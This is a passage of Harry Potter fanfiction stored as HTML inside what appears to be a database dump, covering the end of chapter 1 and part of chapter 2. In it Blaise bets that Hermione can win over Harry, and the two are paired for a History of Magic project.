and\nclashing, their bodies becoming slick with sweat in their passion. His palm\ncurved over her shoulder, and then began to make its way down the slope of her\ncollar and over her breast. He tore his mouth from hers and began to kiss her\nneck once more, sliding his hand lower, letting his fingers trail lightly over her\nas she began to moan his name.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Harry&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione!&#8221; the\nbed began to move underneath them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;Harry!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;HERMIONE!&#8221; the\nbed began to shake harder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise?&#8221;\nHermione Granger squinted as the face of her best friend came into view. &#8220;What\nthe bloody hell are you doing here?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m TRYING to\nwake you up!&#8221; Blaise Zabini said, tapping a long, polished fingernail on the\nbedpost.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione groaned\nas her dream slipped completely away from her. &#8220;Blaise you have the absolute\nworst timing in the world, do you know that?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Dreaming about\nHarry again?&#8221; Blaise teased. &#8220;Why don&#8217;t you just do something about it?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s easy for\nyou to say.&#8221; Hermione muttered, throwing back her covers and going to her trunk\nfor a clean uniform. She pulled out an extra thick sweater; the castle was so\ncold in January. &#8220;Guys fall all over you.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;They could fall\nall over you too, if you&#8217;d just let me&#8212;&#8220; Blaise began, but Hermione waved her\nfriend&#8217;s hand away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Don&#8217;t bother.&#8221;\nShe replied, shuffling off to the bathroom. &#8220;I&#8217;ll be out in a minute.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise sat down\non the unmade green and silver bed. She felt bad for her friend, she knew\nHermione had been crazy about Harry Potter ever since their fourth year at\nHogwarts, but she&#8217;d never done a thing about it. They had plenty of classes together;\nSlytherin and Gryffindor were often mixed, they&#8217;d had Potions and History of\nMagic together ever since first year.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A smile crossed\nBlaise&#8217;s face as she recalled how she and Hermione met, it had been on the\ntrain to Hogwarts their first year, they&#8217;d been reaching for the same Chocolate\nFrog and instant friendship had occurred. From that day on, they&#8217;d been nearly\ninseparable, even during the summer Hermione often spent at least half the\nholiday at Blaise&#8217;s home in northern England. Even during their troubled\nadolescent years, their friendship had stood fast, although Blaise had gone\nmore the way of boys and Hermione had clung steadily to her bookworm habits.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ready for\nbreakfast?&#8221; Hermione interrupted Blaise&#8217;s thoughts as she came back into the\nroom and tossed her nightgown in her wardrobe. An idea struck Blaise like\nlightning, and she jumped off the bed.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione, I&#8217;m\ngoing to do you a huge favour!&#8221; she announced.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What&#8217;s that?&#8221;\nHermione asked warily, picking up her loaded bag and slinging it over her\nshoulder.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m going to\nmake you over, so that you&#8217;ll knock Harry&#8217;s socks off!&#8221; Blaise said proudly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise, no.&#8221;\nHermione argued. &#8220;We&#8217;ve been through this before, I don&#8217;t want you to give me a\nmakeover. I&#8217;ll never keep it up.&#8221; Her friend wanted to give her a new look at\nleast once a week. &#8220;Besides, I&#8217;ve always said if a guy can&#8217;t respect me for who\nI am and not for my looks, then he won&#8217;t respect me at all!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise sighed and\nfollowed her friend. &#8220;But Hermione&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No Blaise.&#8221;\nHermione said firmly. &#8220;Come on, I&#8217;m hungry.&#8221; They went down to the Great Hall\ntogether and sat down at the Slytherin table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Look there he\nis!&#8221; Blaise hissed loudly and motioned towards the Gryffindor table where Harry\nwas also just sitting down with Ron Weasley, Dean Thomas, and Seamus Finnigan.\nA few spaces down Harry&#8217;s entourage of female admirers cast admiring glances\nand bright smiles his way. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise would you\nplease keep quiet? I don&#8217;t want the whole bloody population of Hogwarts to\nknow!&#8221; Hermione cast her an angry glare. At that moment, food appeared on the\ndishes before them, and the chatter in the Great Hall rose as everyone heaped\ntheir plates full.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">As the two girls\nfinished eating, Blaise noticed Harry and Seamus rise from the Gryffindor\ntable. An idea formed in her head and she grabbed Hermione&#8217;s arm.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, I\nforgot a book I need back in my dorm!&#8221; she said as she pulled Hermione away\nfrom the table.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But Blaise, I&#8217;m\nnot finished&#8212;&#8220; she was cut off. Blaise slowed down to a walk as they neared the\ndoors, and right as they were by Harry, she pretended to trip and shoved\nHermione directly into him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Ow!&#8221; Harry and\nHermione both yelled at the same time. Hermione fell on the ground, but Harry\nmanaged to steady himself.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m SO sorry, I\nmust have tripped on something right there!&#8221; Blaise covered her mouth in fake\nembarrassment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione glared\nup at her. &#8220;Sure you did.&#8221; She muttered under her breath. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Are you all\nright?&#8221; Harry asked, holding out his hand to Hermione. After a moment&#8217;s\nhesitation, she took it and he pulled her to her feet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m fine&#8230;&#8221; she\nmanaged to say, her face bright red. &#8220;Thanks.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure, no\nproblem.&#8221; Harry said. He bent down and picked up a few of her books that had\nfallen out of her bag. &#8220;I think you&#8217;ll want these.&#8221; He said, handing them to\nher.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Thanks.&#8221;\nHermione said again, mentally wanting to smack herself. Couldn&#8217;t she say\nanything else?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Well, see you\naround&#8230;&#8221; Harry replied when she said nothing else. He turned and walked down\nthe corridor with Seamus, turning back to smile at her one more time before\ndisappearing up the staircase.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione advanced\non Blaise menacingly. &#8220;That was the MEANEST thing you&#8217;ve ever done!&#8221; she said\nangrily.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Blaise\nwore an expression of the purest innocence. &#8220;I tripped!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Like hell you\ndid.&#8221; Hermione was mortified. She stuffed the books back into her bag and\nstalked down the hall.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh, come on\nHermione, I did that for your own good.&#8221; Blaise defended herself. &#8220;I mean, now\nyou can say you&#8217;ve actually touched him.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just shut up.&#8221;\nHermione replied through clenched teeth. The two girls entered the Arithmancy\nclassroom right as Professor Vector shut the door behind them.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione gave\nBlaise the silent treatment all through the rest of their classes. She was\nthankful that they didn&#8217;t have any with the Gryffindors that day; she wouldn&#8217;t\nhave to face Harry until tomorrow. She really was angry with Blaise for pushing\nher into him like that; he must think she was a huge klutz. It was riding on\nher mind so much she was unable to study that afternoon, and that made her\nangrier.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hermione?&#8221;\nBlaise&#8217;s voice was uncharacteristically quiet.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221;\nHermione&#8217;s tone was icy as she regarded her best friend.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I&#8217;m really sorry\nabout earlier.&#8221; She said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No you&#8217;re not.&#8221;\nHermione replied, looking back down at her book.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You&#8217;re right,\nI&#8217;m not.&#8221; Blaise said. &#8220;I&#8217;d be lying if I said it were true.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Could you please\njust go away?&#8221; Hermione snapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on, you\nknow you can&#8217;t study in here, it&#8217;s too noisy.&#8221; Blaise was referring to the\nnoise of Hermione&#8217;s roommates, Pansy Parkinson, Parvati Patil, and Hannah\nAbbott. &#8220;Come on, my common room is empty.&#8221; Blaise was Head Girl, and they had\ntheir own set of rooms.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione bit her\nlip; Blaise knew she hated to study in her dormitory. &#8220;Fine.&#8221; She muttered,\ngathering up what she would need and tossing it in her bag. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Come on,\nHermione, you can&#8217;t be too mad at me about this morning!&#8221; Blaise said as they\nentered the Head Common Room that she shared with Justin Finch Fletchley of\nHufflepuff.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Can we just drop\nit?&#8221; Hermione asked. She was tired of the topic already. &#8220;Fine, no I&#8217;m not\nmad.&#8221; She dropped her bag on the table and pulled her books back out. Blaise\ngrinned and did the same; both girls worked on their homework for a while.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You know what?&#8221;\nBlaise said about a half hour later.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;What?&#8221; Hermione\nasked, looking up.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think you need\nto spice up your life.&#8221; Blaise replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione dropped\nher quill and rubbed her eyes. &#8220;Blaise, really, could you just knock it off?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, really!&#8221;\nBlaise leaned forward. &#8220;In fact, I think we need to place a wager.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I don&#8217;t have any\nmoney.&#8221; Hermione snapped.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Just a friendly\nbet then, no money.&#8221; Blaise refused to be deterred. &#8220;I&#8217;ll bet that by the end\nof the year, you could seduce Harry Potter.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione stared\nat her. &#8220;This is your dumbest idea by far.&#8221; She said flatly. &#8220;By FAR!&#8221; she\npicked up her quill and began to write again.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise looked\nback at her a moment, and decided to beat her at her own game. &#8220;You&#8217;re right,\nthat is a dumb idea.&#8221; She leaned back and twirled her thumbs around. &#8220;I don&#8217;t\nknow what I was thinking.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione ignored\nher and kept scratching her quill over the parchment.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;To think that\nYOU could seduce anyone!&#8221; Blaise laughed. Her tone finally hit the right mark,\nand Hermione raised her head in annoyance.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;If I really felt\nlike it, I COULD!&#8221; she said angrily. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Sure. Then why\ndon&#8217;t you try?&#8221; Blaise asked lightly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Because it&#8217;s not\nin my nature to do something like that.&#8221; Hermione replied.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I think you&#8217;re\nscared.&#8221; Blaise challenged. &#8220;I think you know you wouldn&#8217;t be able to.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A determined\ngleam entered Hermione&#8217;s eyes. &#8220;You know what? Fine. You&#8217;re on!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Excellent.&#8221;\nBlaise sat back contentedly. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You tricked me!&#8221;\nHermione realized instantly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;It&#8217;s so easy\nsometimes.&#8221; Blaise said lazily. &#8220;But you&#8217;ve agreed, you can&#8217;t back out now.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed,\nknowing her friend would make good on her word. What had she gotten herself\ninto?</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now, for the\nwager part&#8230;&#8221; Blaise tapped her chin.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You said no\nmoney.&#8221; Hermione reminded her.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;No, no money.&#8221; Blaise\nsaid. &#8220;But we need something&#8230;ah! If I win, and you don&#8217;t seduce him by the end\nof the year, then you&#8230;. have to give me that locket of yours that I love!&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Blaise I&#8217;m not\ngiving you that locket it was my grandmother&#8217;s.&#8221; Hermione protested.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;But you said you\ncould win this bet, so you won&#8217;t have to.&#8221; Blaise replied smoothly before\nHermione could argue any more. &#8220;And if you win&#8230;&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;You have to buy\nme that set of Wizarding Encyclopaedias we saw in Diagon Alley this past\nsummer.&#8221; Hermione finished.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Deal.&#8221; Blaise\nsaid instantly. She stuck out her hand and Hermione shook it firmly.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ***</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Now today, like\nI said, I will be pairing you off for your research compositions.&#8221; Professor\nBinns said as he floated around the room. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sat on\nthe edge of her seat as she waited to hear who she would get paired with.\nProfessor Binns had told them of this assignment before they&#8217;d left for the\nChristmas holiday and she had taken that time to compile a list of topics on\nwhat she&#8217;d want to do it on.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hannah Abbott\nand Ronald Weasley.&#8221; Binns read as he nodded to the two students. &#8220;Dean Thomas\nand Pansy Parkinson. Blaise Zabini and Neville Longbottom.&#8221; Hermione suppressed\na giggle as she imagined the look on her friend&#8217;s face; Neville was a nice\nenough guy but completely accident-prone. &#8220;Let&#8217;s see here&#8230;Hermione Granger and\nHarry Potter&#8230;&#8221; Professor Binns droned on, but Hermione no longer heard him.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal"><i>&#8216;I&#8217;m working\nwith Harry Potter, oh Great Wizards he&#8217;s paired me with Harry Potter!&#8217; </i>Hermione&#8217;s insides churned with\nexcitement, but somehow she managed to pull off an outer calm. She sneaked a\npeek over in Harry&#8217;s direction and he smiled back at her and gave a friendly\nwave. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;I would like you\nto get into your pairs and decide on your topic.&#8221; Binns said, floating back up\nto his desk. Hermione was about to get up and go by Harry&#8217;s seat when he\nappeared by her side.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Hi Hermione.&#8221; He\nsaid, sitting down at the desk that had just been vacated by Blaise. &#8220;You&#8217;re\nnot going to knock me over this time are you?&#8221; he teased.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Oh&#8230;no&#8221; Hermione\nfelt her face flush a bit. &#8220;I&#8217;m sorry about that, Blaise thinks it&#8217;s funny to\nshove me into people for some reason.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Harry laughed.\n&#8220;So have you thought about any topics?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione\nbrightened. &#8220;Actually, I have, I have a whole list of them.&#8221; She took the\nneatly printed parchment from inside her textbook. Harry brought his head close\nto hers as they scanned it over.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;Here, how about\nthe Salem Witch trials?&#8221; Harry asked, pointing to one. &#8220;I know a lot about\nwitch burning.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;All right.&#8221;\nHermione said. &#8220;Let me go tell Professor Binns.&#8221; Harry nodded and she got up.\n&#8220;Professor?&#8221; she asked as she approached. &#8220;Harry and I decided to do the Salem\nWitch trials.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;An excellent\ntopic, Miss Granger.&#8221; Binns replied. &#8220;However, it&#8217;s quite an extensive one. You\ntwo will be spending much of your time in the library over the next few\nmonths.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&#8220;That&#8217;s fine.&#8221;\nHermione said. Nights in the library with Harry Potter? She didn&#8217;t think it\ncould get much better than that!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Well that&#8217;s\nit for chapter 1! Please R/R! </p>\n\n\n\n\n\n\n'),
	(78, 2, '\n\n\n\n\n\n\n\n<p class="MsoNormal">Chapter 2</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">A/N: Thanks you\nguys for all those AWESOME reviews!!! We are both thrilled you guys like this\nfic so much!!!</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Fledge: Well we\ndid mix up the houses on purpose, that&#8217;s why it&#8217;s an Alternate Universe\nfic.&nbsp; Things are going to be a little\ndifferent.&nbsp; And if you want to know how\nHermione became best friends with Blaise, read the fic ;-)</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat the clock and noticed that class was about to end. She began packing her\nbooks neatly away in her bag.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;So do you\nwant to start working on the project tonight, or would you rather start\ntomorrow?&quot; Harry asked, putting his own books away.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Well\nwhenever is a good time for you, when would you like to work on it?&quot;\nHermione said trying not to sound to eager.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Tonight\nwould be fine, then.&quot; Harry smiled at her. &quot;Say we walk over together\nfrom the Great Hall.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">On the inside\nHermione was doing flips and had to keep from screaming out her joy. She played\nit calm and cool on the outside.&nbsp;\n&quot;Sure why not.&quot; She hoped her voice wasn\'t trembling, but she\nwas so excited she couldn\'t tell.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Great.&quot;\nHarry said, giving her arm a squeeze. &quot;I\'ll see you later then.&quot; he\nsmiled at her one more time before joining Seamus and Dean.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione felt her\nknees go weak; she had to sit down a minute.&nbsp;\nShe watched as Harry left with his friends.&nbsp; She had to take in a few breaths.&nbsp; Her mind was shouting &#8216;<i>He touched me, he touched me!</i>&#8217;&nbsp; A large happy grin could be seen plastered\nacross her face.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise watched\nthe whole exchange, and then went over to her best friend. &quot;So I see that\nthe plan has been set into motion hmm?&quot; she asked innocently, examining\nher nails.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione looked\nat Blaise in confusion. &quot;Plan... what plan?&quot;&nbsp; She couldn\'t remember anything she was still\nin a daze.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Your\nseduction plans, of course!&quot; Blaise said quietly as the two girls left the\nclassroom. Hermione opened her mouth to reply, but shut it as she heard her\nname being mentioned.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Boy you\nreally lucked out Harry.&quot; The two girls heard Seamus Finnigan say.\n&quot;Having Hermione Granger as a partner really lets you off easy.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah man, I\nmean you won\'t have to do anything at all, that walking disaster will probably\ndo all the work.&quot; Dean Thomas said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Dean\'s remark\nmade Blaise angry, she was about to go over and tell them off when Harry\'s\nvoice made her stop.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;That\'s\nhorrible of you to say. She\'s not that bad, she seems like a really nice\nperson. Just because she studies hard and is in the library a lot doesn\'t make\nher a disaster.&quot; his tone relayed his annoyance at his friend\'s ignorance.\nHe stalked off ahead of the other two.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise looked at\nHermione who was smiling adoringly.&nbsp;\n&quot;I suppose you heard what he said?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah,&quot;\nHermione said wistfully.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise grabbed\nHermione\'s arm and started pulling her towards the door. &quot;Come on lover\ngirl, we have class to get to.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">The rest of that\nday, Hermione felt like she was in a daze. It was unusual for her not to pay\nattention in class, but every time she tried to focus on her teacher, her mind\nwould drift back to Harry. Harry and his green eyes, his black hair that she\nlonged to run her fingers through, and his lips that she was dying to have\npressed against hers.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">At the thought of\nhow they would feel on hers, she absentmindedly ran her tongue along her bottom\nlip.&nbsp; Hermione sighed and looked up at\nthe clock. Two hours till dinner, she didn\'t know if she could last that long,\nthinking about Harry was putting a strain on her studies.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">That night, at\ndinner, Hermione surreptitiously stole looks at Harry at every chance she got,\nmuch to Blaise\'s amusement.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Why don\'t\nyou say something to him tonight?&quot; Blaise asked as she sipped from her\ngoblet. &quot;I mean, he obviously likes you, he defended you today.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione snapped\nher head away from the direction of the Gryffindor table. &quot;I wish.&quot;\nshe said.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Fine, don\'t\nbelieve me.&quot; Blaise said, sitting back and picking up her fork. &quot;But\nyou know I\'m right.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione sighed.\n&quot;Maybe...but I doubt he likes me as more than a friend.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise smirked at\nHermione\'s remark. &quot;Don\'t be silly. If you just listen to me, you\'ll have\nhim begging in no time.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione frowned.\n&quot;I\'m not into those games like you are.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise looked at\nHermione while popping an olive into her mouth.&nbsp; &quot;Come on, everyone is into those kinds of games to some\nextent.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah well\nnot me.&quot; Hermione said picking at her food.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;You need to\neat Hermione, you need your energy for tonight.&quot; Blaise wiggled her\neyebrows suggestively. </p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Blaise! I\ncan\'t believe what you are saying.&nbsp; You\nare so so naughty.&quot; Hermione couldn\'t help but laugh a little.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;If I know\nyou, you know where all the best snogging places are in the library.&quot;\nBlaise said with a straight face. &#8220;I should have you make me a list sometime.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione smirked\nat Blaise and turned to take another peek at Harry but as she turned to look at\nhim, she found his piercing emerald gaze already looking in her direction. He\nsmiled lightly before she turned around.&nbsp;\n&quot;Blaise, why didn\'t you tell me he was looking over here?&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise looked at\nher friend for a long moment. &quot;Hermione, you\'re not still thinking of what\nthose two jerks said after History of Magic are you? You know it\'s not\ntrue.&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Ye--Of\ncourse not Blaise, don\'t be ridiculous.&quot; Hermione said looking away so her\nfriend couldn\'t see she was lying.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Hermione,\ndon\'t think about them. Harry obviously disagrees with what they said, and so\ndo I.&quot; Blaise argued. &quot;You\'re not a walking disaster, how could they\nsay that they don\'t even know you!&quot;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&quot;Yeah well\nit still hurts Blaise, I don&#8217;t know.&nbsp;\nMaybe I\'m not cut out for this.&nbsp;\nHarry deserves someone at least jinx free.&quot; Hermione said with a\ntiny laugh.</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Blaise 